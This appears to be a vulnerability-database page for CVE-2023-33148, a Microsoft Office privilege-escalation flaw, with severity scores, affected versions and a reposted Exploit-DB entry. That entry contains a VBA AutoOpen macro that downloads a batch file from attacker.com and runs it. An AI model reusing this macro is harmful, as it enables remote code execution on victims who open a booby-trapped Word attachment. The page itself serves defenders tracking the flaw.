CVE-2023-33148
high
CVSS v3
7.8
CVSS v4 NEW
โ
VIR risk
8.8
Description
Microsoft Office Elevation of Privilege Vulnerability
Predictions
Exploit likelihood
75%
Patch ETA
โ
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Microsoft Office 365 Version 18.2305.1222.0 - Elevation of Privilege + RCE.
## Title: Microsoft Office 365 Version 18.2305.1222.0 - Elevation of Privilege + RCE.
## Author: nu11secur1ty
## Date: 07.18.2023
## Vendor: https://www.microsoft.com/
## Software: https://www.microsoft.com/en-us/microsoft-365/microsoft-office
## Reference: https://portswigger.net/web-security/access-control
## CVE-2023-33148
## Description:
The Microsoft Office 365 Version 18.2305.1222.0 app is vulnerable to
Elevation of Privilege.
The attacker can use this vulnerability to attach a very malicious
WORD file in the Outlook app which is a part of Microsoft Office 365
and easily can trick the victim to click on it - opening it and
executing a very dangerous shell command, in the background of the
local PC. This execution is without downloading this malicious file,
and this is a potential problem and a very dangerous case! This can be
the end of the victim's PC, it depends on the scenario.
## Staus: HIGH Vulnerability
[+]Exploit:
- Exploit Server:
```vb
Sub AutoOpen()
Call Shell("cmd.exe /S /c" & "curl -s
https://attacker.com/uqev/namaikitiputkata/golemui.bat > salaries.bat
&& .\salaries.bat", vbNormalFocus)
End Sub
```
## Reproduce:
[href](https://github.com/nu11secur1ty/Windows11Exploits/tree/main/2023/CVE-2023-33148)
## Proof and Exploit
[href](https://www.nu11secur1ty.com/2023/07/cve-2023-33148.html)
## Time spend:
00:35:00
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| microsoft | 365_apps | - | |
| microsoft | office | 2013 | |
| microsoft | office | 2019 | |
| microsoft | office_long_term_servicing_channel | 2021 | |
References
CWEs
CWE-59
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.